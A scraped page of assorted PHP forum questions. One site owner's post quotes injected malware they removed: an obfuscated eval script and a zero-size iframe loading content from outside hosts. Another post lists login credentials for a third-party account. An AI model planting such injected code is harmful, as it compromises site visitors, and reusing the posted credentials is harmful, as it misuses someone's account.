PHP - How To Show The 5 Latest Vistors Referer's Site Url On My Site ?
now i use this code to show where the visitors came from to my site.
<?php $referer=$_SERVER['HTTP_REFERER']; echo $referer; ?> now, i want to show the 5 latest vistors referer's site url on my site ? Similar TutorialsHi friends i have latest rss news feed im my php site, i would like to share latest 5 rss feed so some of our partners can publish in thier site . How to do it ? I have several "sites" located in my html directory, and each has a "general" access point and an "administrator" access point:
/var/www/html/site1/index.php /var/www/html/site1/administrator/index.php /var/www/html/site2/index.php /var/www/html/site2/administrator/index.php /var/www/html/site3/index.php /var/www/html/site3/administrator/index.phpAll sites are similar except that data will be specific to site1, site2, or site3, etc. Users who log onto /var/www/html/siteX/index.php are totally unrelated to those who logon to /var/www/html/siteX/administrator/index.php, will have different logon credentials, are stored in different DB tables, and each should have their own session. If a user logs off of either the general or administrator site, it should not effect the other site even if they were previously logged on to both on the same PC (and of course not effect other sites). When a user logs off, I would like to destroy their previous cookie and associated session. Users for either will only use https. I am using Apache to rewrite https://www.mysite.com/ to https://mysite.com/. While I named the administrator site "administrator" above, the administrator user has the ability to change the directory name. I am thinking I need to use session_set_cookie_params to specify where I wish the session cookie to be stored since /var/www/html/siteX/administrator/index.php is a sub-directory to /var/www/html/siteX/index.php, but am not really sure. Sorry for the cryptic post, but I am not very well versed in this subject. How would you recommend setting up cookies/sessions for this scenario? Thank you Hi, Sorry if this is in the wrong place. I really just need a search term to use for what i'm trying to do. I would like my buttons to appear pressed on each page. For example if you are on the home page the home button will appear pressed. If you are on the screenshots page the screenshots button will appear pressed. Pretty much i want my nav bar to display what page is being viewed. I'm using SMF forums and i've created an extension of my forum that i'm using on the root of my site. As far as i can tell i have the correct code added to the forum that should highlight the home button while on the home page. The part i'm missing is the code to add onto the home page. This is the code I have on the button. $buttons = array( 'overview' => array( 'title' => $txt['overview'], 'href' => 'http://www.wararmada.com', 'show' => true, 'sub_buttons' => array( 'alliance' => array( 'title' => $txt['alliance'], 'href' => $scripturl . '?action=overview;area=alliance', 'show' => true, ), This is the code i have in the language file. $txt['overview'] = 'overview'; I'm not sure what this is called. I don't know anything about php but so far i've been able to get by just using google but I don't really know how to search for this. Thanks for all the help! hiii all, i want to show the database field (alise name) as the url after index.php when page or site loads first time. how i can achieve it? please help.... thanks in advance Hi, My first post here is a cry for help I have a Windows 2003 server running IIS6/PHP5, the server hosts multiple web sites. The problem is include files that are for site A are showing on site B (each site having its own includes as part of the site files in its own site folder), though not every time, its very random, sometimes the correct includes show, sometimes ones from another site on the same server. This only occurs where the include files for both sites have the same name, such as 'inc-header.php' for example. I can only assume PHP is caching includes and because they have the same name is showing the wrong one on other sites sometimes, if I rename them to something unique then the problem goes away, but its not a practical solution to rename all include files to unique names so I find myself looking for a 'real' fix. I have a feeling its to do with the include_path in the php.ini, but right now its disabled with a semi-colon, and I don't want to set one as I have no global includes, all includes are site specific. Any help would be very much appreciated! Phil Not sure if I'm trying to achieve something totally crazy here, or if this is something pretty standard. Didn't have much luck with searching as I'm not fully down with all the terms. (A) I have one site providing an RSS feed. (B) I have one site I want to search, once for each of the items in the feed A. (C) I want the results of the search in (B) to be displayed on page (C). So for example, the feed on (A) says; apples bananas oranges cheese I want site (B) to search for each of those terms (by passing the item in the feed (A) to the ?search= part of the URL of that page) and then show the results from THAT search on page C. Bit of a complex one, let me know if you need me to clarify. Thanks for any help! Transferring data from sub-domain.site.com Reading sub-domain.site.com What is this all about? I'm going to put all .. images into a separate sub-domain eg: images.site.com. This would create a folder inside my public_HTML called "images" Now when sites have that Transferring data, and Reading... is this .. something relating to what I want. Facebook also does it, and they get their images for the site from a sub domain, how is it all done? I'm not sure if its entirely PHP, but I hope someone can help. Thanks I'm currently running a classified ads site and planning to display my own content from database combined with and external site rss. So here is what i got right now after the db query for the jobs ads (procedural php),
while ($row = mysqli_fetch_array($results, MYSQLI_ASSOC)){ echo '<div class="media margin-none"> <a class="pull-left bg-inverse innerAll text-center" href="#"><img src="'.$foto.'" share_alt="" width="100" height="100"></a> <div class="media-body innerAll"> <h4 class="media-heading innerT"> <a href="' . $row['title'] .'-da' . $row['id_ad'] . '" class="text-inverse">'. $remuneracion .' ' . substr(ucfirst(strtolower($row['title'])), 0, 53) . '</a> <small class="pull-right label label-default"><i class="fa fa-fw fa-calendar-o"></i> ' . $row['date_created'] . '</small></h4> <p>' . substr(ucfirst(strtolower($row['description'])), 0, 80) . ' ...</p>'; echo '</div> </div> <div class="col-separator-h"></div>'; } echo pagination($statement,$per_page,$page, $url_filtros, $filtros); ?>it is the while loop that i use to display ads from my database, what could be the best way to display (in this same loop?) other site's rss feed so i can show my content combined with the external rss? Thanks Hi I made a new design for my website and I made some changes. I want to use layout for my second site.
I'll like to know if my site is easier to browse through now and if you like the design better?. I test my site on internet explorer, chrome, and firefox. It is best to use site on better browsers like firefox and chrome to get a better experience of site. Thanks.
http://adjade.com
This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=318858.0 How do I only redirect the page when index.php is present? How can i make echo "<b>Site:</b> ".$req_user_info['site']."<br>"; linkable The site raw fron the db contains an site url. Regards Hello dear friends, if i want only to get visitors from certain website (referer) say 7777777site.com so can someone rewrite that code for me please // that code to get referer right ! $r = $_SERVER['HTTP_REFERER']; // the only site i accept $sto = "7777777site.com" // now to compare it if ($r == $sto ) { echo "goood"; } else { echo "bad"; } i've tired this and totally wrong .. - it didn't works - i found if someone comes for example from 7777777site.com/vb/index.php it will consider it bad however it should be accepted referer so can someone please help me how to write such code ? Im working on an issue that keeps sending the user to logge_in.php and never to post_new.php even if it is the referer. Here is the code I have wrote so far: Code: [Select] if($_SERVER['HTTP_REFERER'] =="post_new.php"){ $referer = "post_new.php"; }elseif($_SERVER['HTTP_REFERER'] =="logged_in.php"){ $referer = "logged_in.php"; } header("Location: ".$referer." "); exit(); } Thanks in advance! I have htaccess file from which I am calling htpasswd. Currently its ask for authentication from everyone. I want it IP based or Domain based so that a user requesting from specific IP may not have to go through http authentication. Some domain calling the web pages in background like paypal OR google checkout can access the page without http authentication. Is it possible ? content of htaccess file is given below. AuthUserFile /var/www/web/.htpasswd AuthName "Authorization Required" AuthType Basic <Limit GET POST> require user username </Limit> i am a newbie.. From my tables, what code should i put to put into my site? in text.. Hi, Ive got a script to redirect some traffic from one site to another as follows: Code: [Select] $checker = $_SERVER['HTTP_REFERER']; if($checker == "http://siteone.com) { header("Location: http://www.sitetwo.com"); } It works fine but when the URL is like site.com/anotherpage.php it dosen't redirect. How can i redirect no matter what page siteone is on Folks, I need to do few scrapping from a Site, problem is, i have to be logged in first to that site to access any content. Link: Quote https://www.majesticseo.com/account/login?redirect=%2Faccount%2Flogin Login Details a Quote Email: wow@mailinator.com Password: natashaworld What PHP code do i need to use to login to this site, so i can continue running my other Codes to scrape few data??? Cheers Natasha T My website this morning was displaying 2 iframes that I know I never put there in the code: in index.php: <script type="text/javascript" charset="ISO-8859-1" src="game.js"></script> and in my public_html, there was a file called game.js that contained the following: O="=100%iframewidthheig".split('');Q="document.write('< src=http://lolkatdska.co.in/sTDS/go.php?sid=1 ht frameborder=0 margin=0 marginht=0></>');";o="";for(J=3;J>-1;J--)Q=Q.split(o.charAt(J)).join(O[J]);eval(Q.replace(//g,'"')); I am the only person with the login details to my website/cpanel, and I know I never uploaded/modified these files. I've spoken to my host, but they told me they didn't see anything (because obviously I removed these foreign objects as soon as i noticed them). They don't seem too bothered about a security risk :/ Anyway, I've changed my login details and all that. I mentioned above that I discovered 2 foreign iframes; the other one I found just a moment ago, again on my index page (but within a file called footer.php) in footer.php: <iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe> How did I not notice this before??? I think it was placed there in the last hour or so, after I removed the first iframe. This is pretty weird, I changed my login details for cpanel/ftp and all that stuff over an hour ago!!! and since then I've found this new alteration that I never made! I dunno, maybe it was there along with the game.js iframe but I didn't notice.... but as soon as I fixed the first one, I checked, and everything was fine. Oh, and also, the php files index and footer are now have twice the number of returns as they originally did. e.g: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> Became: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> The only way these files could have been altered is if someone knows my login details... but this just is impossible, how did this happen? Is any of these weird files/modification familiar to anyone else? We had a problem with the site a month ago when google suspected our site as some sort of security threat... because we were hosting content from xxxxxxxxx.com, a site we have no affiliation with and doesn't feature on our site at all. It was all quite bizarre and the google thing went away within a day of contacting them. I have a feeling the same person/thing was behind this also. HELP! I wasn't sure where to post this, but I thought this would be best as there are most people. I need a script to type in the url from a website and get the favicon as an image. Like if I type in http://www.facebook.com/ I get the facebook favicon displayed as an image. Any ideas how this would be done? |